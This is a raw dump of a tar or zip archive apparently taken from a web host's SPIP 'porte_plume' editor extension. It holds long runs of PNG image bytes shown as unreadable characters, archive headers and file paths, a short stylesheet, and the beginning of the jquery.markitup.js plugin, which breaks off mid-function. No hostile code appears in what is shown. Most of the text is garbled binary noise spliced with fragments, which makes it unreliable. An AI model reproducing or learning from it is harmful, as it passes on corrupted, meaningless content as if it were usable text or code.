b/x(;D2nBy(>:8~MF[M+>M}lc-TE(OP\qdmV;p7t/zuIKds@f֬՞mGcmI!EDO@XJ6Jqj'<b&8CM,tć.:ED@K"ءg⨛Aco66*2>^4RZZـFrA $9}00%䢳Oww~lE4G8I޽{?pe2 H`PABE!x==|A_ %hHx#,JI!03 0e[u 1v%ʧ*`o3~p(}u#Fi_5Iu,CA(d8>bJ `O rIRY NEUT|[utPq?Ieʗ6eѣfxm08]Hʤ$YcAH"6`wǏ*=Z-f.byT 4WlAyƱ0\1ٝO`|߬AAyR6'g >GI(fYsn1t@9O'%@yQdp24*DZz Rd9 Ƿwɭ;5}W=,ʗVu&-6:wq[C k A9\|-͈D OkyZ룩%}D֫".֒X{(Jź;sw Us AB 3Bt3JϢPbYJADU8wq9-hl!-R$P:#8 i!`'Pƨy|C5"0O1ݝ<4vӂꟇ͓cI.CӇS%S!y:R(uu_FIB}!qQwp)fiX^T#ӷmPEҪ5jՓ\?e¦[uV}Ћ<oD>Ek$ [Wpɰ)=[@W?R-]łU Rdsǡ~V+Li($:-Xs:|.{ ^P~LO>_!CTY ]r#S`h97k򚈒(A' vUM"J@'גxtu5䃵u1VceD_`5U&k0[9ԛU1|a:@;iun F^re !2TM2TXV*r]U5Vr~uM  9Y :sJ$Q*B=N6UX`DK8-8l;=G4^*fVw`G)xJψc5/i6=!]Ks*L3]ʭ̓ېtuF8GamhXڜ B,o iSe"ƴ#ZfUL3s؊ X'ԴajA 5uYF!<‰;-~RĽ5:3,شBlϥ%-dsrwhÉl\Gu!{jp!! b*nU2~1Q`9ޚvXEko(V)qűj?Kcf];V-Vz3 c O&CU]&n U:b/u) RnAb Qk7"]loP+]ڻu׼>UU$ Aʡ]4b,q? R)?^lMgk:h2dwU&ĵ[~qJ!m$o kçꌢey 5f"mLHN^W~d%88Q gv ?>?n!G3Gb婸u<'YSFQ.stSݝu .XDY3Y w®T ;/ID§{ѐSb~`D?bRR!hjieMa͍K|!Rv?W(RM.߮!Ɏ-sd^ X7fd9q[ bk!>^e]H㱮YGjx:P-կ]Q. B:x퀸l#GkA9K:ȡ?-9qfO)0TB︠g(AkCWᗽ< ':$Gxas1稨SMYzJ2s!r3'4F E:8Pl "dAZ ^=CޝǝiYV0T>2j$W&+u6ByC+1Ra_eIܽ '/z_؈2Yk6Y3\}9g * c'pI$i@/3QU pmo;[}>Y:Gꏷ=^ӱz!DQ>\y%G!l,Y1)I4ku[A{ofPEd۰KE@v:wNw39.s|eJOSDYw7MwGu+ݫsC|xb􈎸+XΥ؊N=k︸AR/{l>q?~SI_z-͜zcRCW.7>TqF_Fؔ`G<nrF!^ulzJ"}^w߯stFP]? 3iZznʆWV%l1 j.FS~ڑq]{  (mjN㴏7={vGccXGcx(`=wn꺇T[~&}fyvvۣq͚{ucWuMXqۇ3NITPxƩAEvP0lS2Q(drdkИߔPw 16lT)6FMʰ1z c3x *:'./ۧZن|#;= c paBS/'i@Sд$4MieI 묦 O8ubp@s@ XR:u3Le4hv~_rQ6eF] 6#Ss wA~kQ)?rV3R;jfe!IHIpի4|mh%wʀAWur9j[$tg#<*Yfi}A0r:*l"B dq@JwԼ}ꠗjg..FϾ[p+E"u$>Q:hM=m# xi#EL ]L+9fLm;wʺ9&;m"3rD"%>q '?_Fܘ[m /6:!~elsf|3` 3h$cA"͔Cu0v055YOdKC3"Xz{)4(IвZCb] n]+fʯ3B#UbH.ZE( EbRqNqp,0U,DRHrųYf̜+<+e,8VjI uGd'hiWO!-=Iנ%o 4 `XҠk&; ѯD.|V#FaH HO`96U:0 pOxfaP]kZe:<]:UѫM<pxntP#SA*~bt:ƣ4Gi2 aOA%!P"MF&E0O -ysBޔf:%,0FYo\-\$f6JǿLk 3)N_SF"OƝ;*Xqq'%f1rnu)@L=tx$WQ] Y>?`gYG۟+`1RqqbY0& chgВ*KxZΐ׹RiPzŻoz+dcn:0ժJR(V}svͷB b`Fð9F#ِ b Ѿr=={&. eMw15d:U9gkGlnB(ĩ/&O)Y=yg3XFfr{'oM߇u PRRC8eo dЩSfv).qn{\=:ZKxU #iUH>_#;ldYc"\uLX]UصĽ099ia_aq@>'٠Y56?LZBZy鴊oa,.\&97`[ Q|YozSlF}xˆ@C'3WL(GMwjzGimȏSU諺mOBe_.T+k♢>/FsP\PosOo#ddK\F;lqzuZJ,Okxtj%TM|"Qt_Bl 䒩ULK:wÕUrfI2t}gjaUxűO=4J*n g꣺j8g *֯U~kC51JnCGyj`| !h|?7.ԩ*}lM;7AڃkF ":~olYQj kTZ~US_ ~jۏmQT`e˧ ~e 2yl볯jq*|Hvgb*Лpfl}>U::KM>h(EŘgMf4W&T{s#텋 {L/9RVJj-E_Uѕ`ہ=}sUW~tdjP&nLۨOh#7G0~WDP?s` TJyg-ɞx.tIg3]d7qNjwǬ_nbS_I"Vӳ' o-߀`p<[u#򯽳4,&Sg=V wMk#p5W: nWS7-٥oj /-oSFtII^}O1#Ijy-G^jxد#H $) U8{\} vǟu./#P[⋜<Y]}O/O<]t&yꂫVW\pꂫ"\]pu\m4 /-ػ`E^w{gbM޿P/Q[/͂ .:W\$W\p6 .j WKt ^. x}-r ^. .:W{{{{{읍ׁ r ^. .Z 8{B@[DWO.tۛ!형<@qLF%ASa9:6tM1w׫$F/Bta1Zb?GS3k-YR녾%%V߶>_=cHg*F&~؎UE/Մ] )?^y9WW\]puCX2Wv^W?IDc߆wmVtBNS%&;C=ri$a1EhLYfHz :I R` A_Lc-Anm8jűb8\6$!{I粯4:N>'/]!^T~߈vְRR| O0ޱ^G&" p}wpߥ ?uKwfX{\"o~o%#+hs "[J^GZч6:6jkSZW/Q$! G_Ui79a-Fh\?nޙ/^j_%]Z6< "Y7(!F XHA_6ڋHz6|&H|=7|_IWm;= .P(|ƨZ?=+}仈^_lϔ=߶Yw|.E"ݞЈG^sG<=|m)BB(>^ 29Z9\;NGs .x5exYvM};4bSDMѳʥyip (vNZ6;o46/h>F`ǪXYXYewth#g$ޤ>8xYyK-*He6٥ylJvej;ݡ:B/Kt(t`#y#-J܏څ+sB9\tY6t(M zQe[L|+~DayS!&qEc>K-C Ge Yu`Gzf^oR/L%Y}0}}tzKOJD1AK?KVy5%?{0o K\co+b; JXL/}I}q*wa/ゲ'$.{C eq J'T6B }3k}R̔eCFW"˃^ ^Jyܓ~%e4=gRj7O&䧔59yH@5}5@fX:zGCЋ^LI,tx}IGP/H0G*yK1wYnV2W;ᐞ3_^07,YsfԄ3fD8 q^XfȪ}] 2eelrvwBw@/xsg_x. *ظ`Ϗӯ\:x6pfT2Ĭ\+bQGkDR\pKz /:">ř  ĩvBB; k "vf *dk$ufj!i>:w,i R'Vl\cDŽ%yVWRf*<#4g,o9h{"ׇ}^J6פv ,︺>T^5e%e± |Oįʈo]PZOy OR eY_leW[0L I{w?FcLOm_rOhv=%r#ؚN?V'^}~hçhM鰺CVc1Əig | yu?~ӆc䐗/p=6h\qKs|.4?oߏ=l^EE-iȭ|6VE=&+=۠ ‘ </N~j<첏h#,~16c/SNڄ >AZ3,huI{c~Jlo߾)*/N\ϱov[iZ_ձaJΝ/:6O- 92b?Tlk%?_21B sY5>:>c=1Ow y^- ڶ,XzusM#גU]>H_yYv!ۉ_mi Rus]Xm_g)YY)m]y,m z1aaaxEߓGקo/Y\k6xjgH|yu.\aæM&wk#ϐ$?]Mo\Ⱦ,/ڥQ@~6s?)}, l gX #vQg Bٙ^uのuhm?}{].~}v_J;xogJY]޳@.)oqC?}>@Xߘ'-(W? źvƔOʙRv[K?[A}?-wmՑ}g\=c}M ggg DŽ-B^k_g?F? v0||؎=ǧHPgs/hؑI t~{n^}ZyD5XWvO)"c0vY Z|~_%/,p\ɹyΰZ/;/xs_9?Pܯ5ݻ\[y|č8gʱL{? 0 0 _k3>z_\S |<)b|7aaaxn.ta?l^Cvkؽ#~e)3<3^kdlc&jK+o"e<.ʞ`^(3zu l+6v<ï k7]/lc[`On}򚄫 G뎱zt^v2)?;Wmr5ocIz?Ozx{&!ez."ѯ 1Gg{+ҏlw<=}GݽFƨ^)zIpG K֜{{e G12ۭqiumf>.}~a? 0 0 [u+7Svq֭y΅ ?ނ}XwŶv?ߩDZۓ-q/?߳=<~#>Fk"qzrQo 9r,nY[;o:)@-`ק-7({߯S@µK9֠ɸ>:n3 _[_*mtcmC>qSL=<6;ǫsaaa{xˌ\ފpx?0׋#5zяc]x^l򼠕(f:~٣^lin59W~\;?vn6erUbS~v^U O7O(|;+SG4|?f*?rW~2oNٟS9~daևmH6mX[J~s.ym4ٶO|Bd/b5ɿyU? 0 0 0 0 0 0 0.P~*1@G\⟿KrKXs2(ߥ纎J8'>X@▼QQbqwx b)_K|v 1M6kee-2Ǜ59?K^E~9ϱQﱮYF8N?~;:=J<-tĒyNAgC \NXKs)'^Kg\~2}6}Գ)n]Or^j~"{p29w6/.z-v:+M{WJYZ굢`% Ҥl9ힶկ#OUz+U?;sd~vND7*.Y+v:ye;8}~|+ÑޅN9}{Bƞ#txխsXɿkSV/uJ=o G<ջL'L:D]6jfgLz/+ؽ[{rCMYq~[{yy czA;w9zszWHVax3 %mkBTx흍) q ĉ8D^>׻gI@XjjgiЃ`0 `0 ?ϟ|:seQ3|ӧO|:2|.};7eGFO6_Qv]T]^ˮg{>pjzkuo{yye?{-x/ D:3D&򈼹e^Hyi#/OGzϪ߯_~ :sMe#M3Y#=2 QЙ[\s=E8}E>GȩT ڲTg-}VfoSVwzV}./>~!?U1<#}=F[ ~QڋBN..+푹^edLo+[\-k dW(}6q$#?z6Bөi?L7!3O_Q}Пuo[=tkȋM!'}/Ƈdr2_Cﲨ: `0 :8o=+8-4}۞cĥXdq{bUq©ήm!ƶg*ΪU\z[GA=^+ru{LV U?)V>ғ)x|Yҁgi\yi^cUo*= !TY?rfgWsʽVn*VX#=Fϫ+[F~yH\L~[O҇h5ݵTow|Sfӟ+);F;:x )/OS yUo2e)Ve3'wgGg=J^`0  ľu kU,Ksؑ5nY,bXw{ w&3QהNQev ]ƷgcH˞i{A3I8hwduwUIWq8I>+@pQşGcZ\ƪUߝ]/:3d;ɫ:gB9R|GW~w2;fzt|+i5nΟgZY|<1NyŬ|E7k?z/k><=Α}N΅>uWydʬdz `0 *\?W8GY:Dgcg< 2+'W6qn؟{ru"wU쏘~c#T?+y{Q,,^qF/Xv8.֩g3}ȸOP ~n%hUG4(_sn|W}Tg&x^c,Fѭ+ <#+}/Uw8BRh_|33!mr\7U9m({ѝpvew[xG]߱?g;,nҽow8]וb?OV=Z_#ve?vN_WrYLo;1g9pV^G~>[_vNOS3 `0Q[ veO\k^8֔v<Zbz\Opbn$~}oz3ј mK vU]^iNWA#x딫jt q :E= z%օq)CcYEqyRG-+u (K\hP'*^ء^q=m=y|Kvūe\rȊ4={W1;=ݷxp;o@>ȘT\Ԏ+C=*ɫ|GJOCW]x1.ﵠ9_Eб Vq)v(ʑ}[GwǺ{-oSdו_˞׃2;iT&w*w:g׭SOsj%Z[~_˯d֮+w]7 `0]kIu+eL]ւoA^;=GR?v쯱;<y o$N1紈=:ߥPVu< <&3KyC/4r)i=*/|Ύ^]QNН1qGw>ù{ ?Kv:A}E:_n+{u=rq͓̳]>>d}+|L01`0 leg:׺񶊝`W,3O?]\9P~[kOWiGc~)-<w.3q}'vuw$Vnv(r52S;Wk_Kϔ8B/hEՠ'9w?K;x:x<|@cϽVyc@ۖSw8Bq]=2lBe6V}eR( VeZT4ade2ޒ+nYBTqSߔ<[&=f[|szP)G}{Zׅ3n7jpWwftEw[ǽ;`l? `0 `0 `{~i`oLy>uoi\qK|}7Svu9G쯿c¾#>,jow{ՆݲL=mW2u_8دjo?kD߱mw>#}E:OۡO;y`$jwymkBT6x횉m0]HI!)$FR?6c>>~sm+vuՑνYu8uN?WP>1JsWiV_uKEϸ/rˆ_gKW]ױEYcl,[TYHT}xL#}A GV7^}>iҞ-i;}LJX&TP3T#ߨgJl e'=?͘ona|7>?ǐU%;/mN/IfQփz{G}?v✽3X~j{zTAO^ʰ>?sy|G)PU{ ..T}6ڳ-F`p]k߅~b  О$wݓٱ|sCoA+q3lOx@(0a+? T,_7s\Ϙ^Bl1)C+k(FyN"8dPC_9>O0&l4Im+nwGrŰ)/tihf ѸX>E)<,6s45zb?J\<OM%O#(76:= ӋYAƒH Ls6MXBcX&ǘJte. 3.je(??Lj=%wZizFTx$kP8Em jAOހ>~؆B9 ֤8UKCvjbL Cy ;mj P. DkwUE€3ܨ8xUJs\ɟ+;}sFQ(KIXݛƨ 1 +KdX];Jģcx$D׷X`i @l̏rnm$^9΄zBGϞQ=nfkDe; <a>,⢞jk0B[p($Ǡp4 nq`XƓ vϵ.xHnorJ5Hu뇗 f a[Z:>36[g RL؍?( &w.7C#~B{] UW 71jk~ecGrD.=K@WDZM0倐0\xvqNZ ># BE )&yA}t?B Ym(WIpɱ |2+\2 )l8tl@Z.Be񅋍RSƃm>dIl'N adĢG3%#)?$s _5=YBR#-k"qGP-e"f%֩-ϓ378M9ϊ,_*n;HEBƱcl~ ˝[/sagIE2,z1t:kLș壋G){7ond{@rP>kwk׽ #kXfyEAB9uM4P=_lgW؇N#_nGpp ,ZUu6ȓVӰ0EK7*|]{75F\ԶzQz! uH>upT٣o3P)[^6` -d&*=%fY<^ط`_6|h3ء>2 Pq7ώ ,NsjF=B` 큳CiU)R鐏@LҮǧmb<2FHRqùFXi䎲OmGA}:*u f:@ʫRH.66jcGOpO- 6HKJU:Jǃv,3DZEƮqq7p?ȌK%ȧ$;?Qr6pP7`a^=R_)m>D3#£ _' Iɭu͋C-Rne㯄ssL<ȭ/R)|Lt_1Lk=rr 4/gEr~PnB[\g[{gYvRW' {Fem1{ wL;7&$xc0 n&u@5sCCձm8Heft x{q(aтa?Q%l4ςxmWI׆GC1kQ3iJh,KRO`ʲ4)%b6B8\pe;u)ko)#WSncRx{[sXv195_0Kՙ7>Tp5ٴl3S"؝LX睫[5m Q="u}pϘ*xbՉ#iM+@Z! Ϯ~jYݬ$?5mtu] %@݅:4h8ۃtu3; ΑO1A/r R*5i&j#Y2:$Z(ad@>'z L뇶6Z8|`6"X1_z' F-я?X^ A:?1;h/KVB' vOnFS ƤQ{=kh7MwXQp\v͓O/. N3HKRlK"q^Wh1wt h@3e6N|I;y?8t[[! $,ήLe"z%IކAkRl!3u8ځy?_W)AbCO!rza5Sn֗#<43y6"R߃CQ&>[# BHǽ{vekOTlq(UH͵h ݔ8,@tՂL{p/*L"d_y k,4 G̖bD>,.ok"D;|7[.DCA#ilϟI֬Dq]+eE _-- ڰc^Lq1~CCC9gNH8BkhJ#Z-`VoMa 9r$պZ-hkh ?C$ ^tď9d(8P݅]ڶw[wl;dn׆oKd Hބ(DInI M_(5)6H/Y1 QRk,nXHʉ?>df&6^EJmt{CCc`0ʅv5x<\9Yc}106"״!֏9dl:' 1H"z'7QqɌ#KR./CVgQȬ\ `?d1yuM6Ƶ8ZX]8^pwQE &1frRKi$GݜЕh3'{;;~FK37ku<pdʎ+C RMzƏ7)nҀ lEGyl:̑IoBS%|ЕsTulebA}Aʹ10A{KʘӺtjdLI=r PRg_LbR Şl?␔)![Fo wi&k^CV(t@pW2{hxHGRn͉eCbxԉ6GQd27\ثdS=\Ff*0ۣOP5(rZߙxQZ>~GAeN-jY7Ҿn;n?ӹ"Px}/NW:݊&׾:x" ꭥу;R펔 c䛅љElmG§a= h¨BG_uYnZ쫭FYs U"zM&:Gnu.DX5Xn;}ԫ%XO?~2&Frjj8 yA*W I9/ub)Zl: s 85J>~iI3Yԕ;:#hELם[ROd^GA˩f~Y!En0~/A Km>^WYq"<цF*c:xw|͞w%ehRgd9̕v3v Dgh>>?3hYDkgC(ʹƒԕSԜ| 2Q94(?OGQ34 fccPopTYaW(>@tX4`LGٞpɄaŰl\[9c26U M6f,'C4i?W~psϠ?kAKrŵk@I|>^xs?\`,D̒5W^w DMXf_8<%|8_왉pP1Wlm߃f?4:́_Ԕv M;k:p_sj؎qw]$F}y ,b'N=o0, ~M YR46+!}@~ujctCP.Y(x׎z?70WXFܣo3z0c8RGg0 TU򄽻w"/4֏CQ`[{Ocn]+{{ N!33+5]qpj' r9FDȬ)~: 9Gmx2-?sraG"yvUpa;Ră A\& ?#n 0eed~oq嶭!!DzP^H)>oȑ.ļԶ=Hy7S-M ?8ycߧq|#5"2Б lm#UeΤVbM͘jAc7Z ]> 4gb s 2WRsKg6 's8qzTT[R[w)I95xWj #!nN+zPڔ KgTE,?{^RDݥ=Ru^zîc&D'i74SJߔ&HUG[crͦ<׿~4}څh;lpAZ%XZ;tQ?yk1+Ƴu6[ Dc4Ɯ*dB#!}e>samhG3c^8u9󼵕⸈߂UyB;f "Yi=D =4&|C3g]~WgjhSIXU"1A5Fr4{AljwTt6</N \Rta| i>T.Wo>>xϯY{緷m,J{gg}v~)]s!?wXGFl!7U|Cnfﳅ:.@mq%臔Ru?.:aBֺE#Gg'yXDuSWNJD)21ѵVagWPqȒ s?¶@g")s\T{f3go^w:^"{d#!φt},nyWFKv„X4|VB~,˘_&fjp/WԍwaO H 3I`u1ͤ+_W|+_W|+_W|+_W|+_W|+_W|+_W|+_W|+_W|+_W|+_W|+_W|+_W|+_W|+_W|+_Wݚw)oIDAT1 PDQA_¬ Xk ŷ4j\.jf1^K)e N_$Ck~xwxd]\>I$F[/M^:fP*IENDB`PK|Q\*WWbarre_outils_prive.cssnuW+A.formulaire_spip textarea.markItUpEditor, .formulaire_spip li.editer_texte textarea { width: 100%; box-sizing: border-box; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; -ms-box-sizing: border-box; } /***************************/ /* previsu */ .markItUp .markItUpPreview { font-size: 1.05em; line-height: 1.4em; } PK|Q\5"mmbarre_outils.cssnuW+APK|Q\{Jimages/submenu.pngnuW+APK|Q\' images/handle.pngnuW+APK|Q\cL_jj"images/menu.pngnuW+APK|Q\*WWp{barre_outils_prive.cssnuW+APK }aelig.png.tar000066600000004000151454730040007121 0ustar00home/yeshuare/www/extensions/porte_plume/icones_barre/aelig.png000066600000000415151451434520021131 0ustar00PNG  IHDR(-SgAMA7tEXtSoftwareAdobe ImageReadyqe<*PLTE333"""fff݈UUUDDD~tRNSEOIDATxڼ90 +WC б  `G:S,hGigU[.G 5 IENDB`eagrave-maj.png.tar000066600000004000151454730040010217 0ustar00home/yeshuare/www/extensions/porte_plume/icones_barre/eagrave-maj.png000066600000000405151451435430022227 0ustar00PNG  IHDR(-SgAMA7tEXtSoftwareAdobe ImageReadyqe<$PLTEfffDDDݪ"""eN\ tRNSOIDATxtI0 ٚf+J@ 1d(" kƖ-=UeLhH \?;ECqC)FP&W4Řp +45:(ڑnM -Z.Ѕ/l0~[WqaH߳n$u?#=պ3F{k "Ua#Y|L~YGTx0"E K%nv7f7n>p9yNH'5/:8:.;i DŽʳI0"Ւ$:Y@ &0:!B(@0* otCPNv5c9{ -B"Sf]CW5txw$VEDZp%(Bo{6GG_ZC'<ux %唊݄u8A!1 ȡ|ܘ;kģ'̔^n؜N%Ut=Q ), q\m)H\/ q$O:1H t谛CzDSol/l%v m2'wZnn;?,("n,֋I(qZ+2߯e/{ g jquery.markitup.js.tar000066600000045000151454730040011047 0ustar00home/yeshuare/www/extensions/porte_plume/javascript/jquery.markitup.js000066600000041530151451477000022570 0ustar00// ---------------------------------------------------------------------------- // markItUp! Universal MarkUp Engine, JQuery plugin // v 1.1.8 // Dual licensed under the MIT and GPL licenses. // ---------------------------------------------------------------------------- // Copyright (C) 2007-2010 Jay Salvat // http://markitup.jaysalvat.com/ // ---------------------------------------------------------------------------- // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in // all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN // THE SOFTWARE. // ---------------------------------------------------------------------------- (function($) { $.fn.markItUp = function(settings, extraSettings) { var options, ctrlKey, shiftKey, altKey; ctrlKey = shiftKey = altKey = false; options = { id: '', nameSpace: '', root: '', previewInWindow: '', // 'width=800, height=600, resizable=yes, scrollbars=yes' previewAutoRefresh: true, previewPosition: 'after', previewTemplatePath: '~/templates/preview.html', previewParserPath: '', previewParserVar: 'data', resizeHandle: true, beforeInsert: '', afterInsert: '', onEnter: {}, onShiftEnter: {}, onCtrlEnter: {}, onTab: {}, markupSet: [ { /* set */ } ] }; $.extend(options, settings, extraSettings); // compute markItUp! path if (!options.root) { $('script').each(function(a, tag) { miuScript = $(tag).get(0).src.match(/(.*)jquery\.markitup(\.pack)?\.js$/); if (miuScript !== null) { options.root = miuScript[1]; } }); } return this.each(function() { var $$, textarea, levels, scrollPosition, caretPosition, caretOffset, clicked, hash, header, footer, previewWindow, template, iFrame, abort; $$ = $(this); textarea = this; levels = []; abort = false; scrollPosition = caretPosition = 0; caretOffset = -1; options.previewParserPath = localize(options.previewParserPath); options.previewTemplatePath = localize(options.previewTemplatePath); // apply the computed path to ~/ function localize(data, inText) { if (inText) { return data.replace(/("|')~\//g, "$1"+options.root); } return data.replace(/^~\//, options.root); } // init and build editor function init() { id = ''; nameSpace = ''; if (options.id) { id = 'id="'+options.id+'"'; } else if ($$.attr("id")) { id = 'id="markItUp'+($$.attr("id").substr(0, 1).toUpperCase())+($$.attr("id").substr(1))+'"'; } if (options.nameSpace) { nameSpace = 'class="'+options.nameSpace+'"'; } $$.wrap('
'); $$.wrap('
'); $$.wrap('
'); $$.addClass("markItUpEditor"); // add the header before the textarea header = $('
').insertBefore($$); $(dropMenus(options.markupSet)).appendTo(header); // add the footer after the textarea footer = $('
').insertAfter($$); // add the resize handle after textarea if (options.resizeHandle === true && $.browser.safari !== true) { resizeHandle = $('
') .insertAfter($$) .bind("mousedown", function(e) { var h = $$.height(), y = e.clientY, mouseMove, mouseUp; mouseMove = function(e) { $$.css("height", Math.max(20, e.clientY+h-y)+"px"); return false; }; mouseUp = function(e) { $("html").unbind("mousemove", mouseMove).unbind("mouseup", mouseUp); return false; }; $("html").bind("mousemove", mouseMove).bind("mouseup", mouseUp); }); footer.append(resizeHandle); } // listen key events $$.keydown(keyPressed).keyup(keyPressed); // bind an event to catch external calls $$.bind("insertion", function(e, settings) { if (settings.target !== false) { get(); } if (textarea === $.markItUp.focused) { markup(settings); } }); // remember the last focus $$.focus(function() { $.markItUp.focused = this; }); } // recursively build header with dropMenus from markupset function dropMenus(markupSet) { var ul = $('
    '), i = 0; $('li:hover > ul', ul).css('display', 'block'); $.each(markupSet, function() { var button = this, t = '', title, li, j; title = (button.key) ? (button.name||'')+' [Ctrl+'+button.key+']' : (button.name||''); key = (button.key) ? 'accesskey="'+button.key+'"' : ''; if (button.separator) { li = $('
  • '+(button.separator||'')+'
  • ').appendTo(ul); } else { i++; for (j = levels.length -1; j >= 0; j--) { t += levels[j]+"-"; } li = $('
  • '+(button.name||'')+'
  • ') .bind("contextmenu", function() { // prevent contextmenu on mac and allow ctrl+click return false; }).click(function() { return false; }).focusin(function(){ $$.focus(); }).mousedown(function() { if (button.call) { eval(button.call)(); } setTimeout(function() { markup(button) },1); return false; }).hover(function() { $('> ul', this).show(); $(document).one('click', function() { // close dropmenu if click outside $('ul ul', header).hide(); } ); }, function() { $('> ul', this).hide(); } ).appendTo(ul); if (button.dropMenu) { levels.push(i); $(li).addClass('markItUpDropMenu').append(dropMenus(button.dropMenu)); } } }); levels.pop(); return ul; } // markItUp! markups function magicMarkups(string) { if (string) { string = string.toString(); string = string.replace(/\(\!\(([\s\S]*?)\)\!\)/g, function(x, a) { var b = a.split('|!|'); if (altKey === true) { return (b[1] !== undefined) ? b[1] : b[0]; } else { return (b[1] === undefined) ? "" : b[0]; } } ); // [![prompt]!], [![prompt:!:value]!] string = string.replace(/\[\!\[([\s\S]*?)\]\!\]/g, function(x, a) { var b = a.split(':!:'); if (abort === true) { return false; } value = prompt(b[0], (b[1]) ? b[1] : ''); if (value === null) { abort = true; } return value; } ); return string; } return ""; } // prepare action function prepare(action) { if ($.isFunction(action)) { action = action(hash); } return magicMarkups(action); } // build block to insert function build(string) { openWith = prepare(clicked.openWith); placeHolder = prepare(clicked.placeHolder); replaceWith = prepare(clicked.replaceWith); closeWith = prepare(clicked.closeWith); if (replaceWith !== "") { block = openWith + replaceWith + closeWith; } else if (selection === '' && placeHolder !== '') { block = openWith + placeHolder + closeWith; } else { block = openWith + (string||selection) + closeWith; } return { block:block, openWith:openWith, replaceWith:replaceWith, placeHolder:placeHolder, closeWith:closeWith }; } // define markup to insert function markup(button) { var len, j, n, i; hash = clicked = button; get(); $.extend(hash, { line:"", root:options.root, textarea:textarea, selection:(selection||''), caretPosition:caretPosition, ctrlKey:ctrlKey, shiftKey:shiftKey, altKey:altKey } ); // callbacks before insertion prepare(options.beforeInsert); prepare(clicked.beforeInsert); if (ctrlKey === true && shiftKey === true) { prepare(clicked.beforeMultiInsert); } $.extend(hash, { line:1 }); if (ctrlKey === true && shiftKey === true) { lines = selection.split(/\r?\n/); for (j = 0, n = lines.length, i = 0; i < n; i++) { if ($.trim(lines[i]) !== '') { $.extend(hash, { line:++j, selection:lines[i] } ); lines[i] = build(lines[i]).block; } else { lines[i] = ""; } } string = { block:lines.join('\n')}; start = caretPosition; len = string.block.length + (($.browser.opera) ? n-1 : 0); } else if (ctrlKey === true) { string = build(selection); start = caretPosition + string.openWith.length; len = string.block.length - string.openWith.length - string.closeWith.length; len -= fixIeBug(string.block); } else if (shiftKey === true) { string = build(selection); start = caretPosition; len = string.block.length; len -= fixIeBug(string.block); } else { string = build(selection); start = caretPosition + string.block.length ; len = 0; start -= fixIeBug(string.block); } if ((selection === '' && string.replaceWith === '')) { caretOffset += fixOperaBug(string.block); start = caretPosition + string.openWith.length; len = string.block.length - string.openWith.length - string.closeWith.length; caretOffset = $$.val().substring(caretPosition, $$.val().length).length; caretOffset -= fixOperaBug($$.val().substring(0, caretPosition)); } $.extend(hash, { caretPosition:caretPosition, scrollPosition:scrollPosition } ); if (string.block !== selection && abort === false) { insert(string.block); set(start, len); } else { caretOffset = -1; } get(); $.extend(hash, { line:'', selection:selection }); // callbacks after insertion if (ctrlKey === true && shiftKey === true) { prepare(clicked.afterMultiInsert); } prepare(clicked.afterInsert); prepare(options.afterInsert); // refresh preview if opened if (previewWindow && options.previewAutoRefresh) { refreshPreview(); } // reinit keyevent shiftKey = altKey = ctrlKey = abort = false; } // Substract linefeed in Opera function fixOperaBug(string) { if ($.browser.opera) { return string.length - string.replace(/\n*/g, '').length; } return 0; } // Substract linefeed in IE function fixIeBug(string) { if ($.browser.msie) { return string.length - string.replace(/\r*/g, '').length; } return 0; } // add markup function insert(block) { if (document.selection) { var newSelection = document.selection.createRange(); newSelection.text = block; } else { textarea.value = textarea.value.substring(0, caretPosition) + block + textarea.value.substring(caretPosition + selection.length, textarea.value.length); } } // set a selection function set(start, len) { if (textarea.createTextRange){ // quick fix to make it work on Opera 9.5 if ($.browser.opera && $.browser.version >= 9.5 && len == 0) { return false; } range = textarea.createTextRange(); range.collapse(true); range.moveStart('character', start); range.moveEnd('character', len); range.select(); } else if (textarea.setSelectionRange ){ textarea.setSelectionRange(start, start + len); } textarea.scrollTop = scrollPosition; textarea.focus(); } // get the selection function get() { textarea.focus(); scrollPosition = textarea.scrollTop; if (document.selection) { selection = document.selection.createRange().text; if ($.browser.msie) { // ie var range = document.selection.createRange(), rangeCopy = range.duplicate(); rangeCopy.moveToElementText(textarea); caretPosition = -1; while(rangeCopy.inRange(range)) { rangeCopy.moveStart('character'); caretPosition ++; } } else { // opera caretPosition = textarea.selectionStart; } } else { // gecko & webkit caretPosition = textarea.selectionStart; selection = textarea.value.substring(caretPosition, textarea.selectionEnd); } return selection; } // open preview window function preview() { if (!previewWindow || previewWindow.closed) { if (options.previewInWindow) { previewWindow = window.open('', 'preview', options.previewInWindow); $(window).unload(function() { previewWindow.close(); }); } else { iFrame = $(''); if (options.previewPosition == 'after') { iFrame.insertAfter(footer); } else { iFrame.insertBefore(header); } previewWindow = iFrame[iFrame.length - 1].contentWindow || frame[iFrame.length - 1]; } } else if (altKey === true) { if (iFrame) { iFrame.remove(); } else { previewWindow.close(); } previewWindow = iFrame = false; } if (!options.previewAutoRefresh) { refreshPreview(); } if (options.previewInWindow) { previewWindow.focus(); } } // refresh Preview window function refreshPreview() { renderPreview(); } function renderPreview() { var phtml; if (options.previewParserPath !== '') { $.ajax( { type: 'POST', url: options.previewParserPath, data: options.previewParserVar+'='+encodeURIComponent($$.val()), success: function(data) { writeInPreview( localize(data, 1) ); } } ); } else { if (!template) { $.ajax( { url: options.previewTemplatePath, success: function(data) { writeInPreview( localize(data, 1).replace(//g, $$.val()) ); } } ); } } return false; } function writeInPreview(data) { if (previewWindow.document) { try { sp = previewWindow.document.documentElement.scrollTop } catch(e) { sp = 0; } previewWindow.document.open(); previewWindow.document.write(data); previewWindow.document.close(); previewWindow.document.documentElement.scrollTop = sp; } } // set keys pressed function keyPressed(e) { shiftKey = e.shiftKey; altKey = e.altKey; ctrlKey = (!(e.altKey && 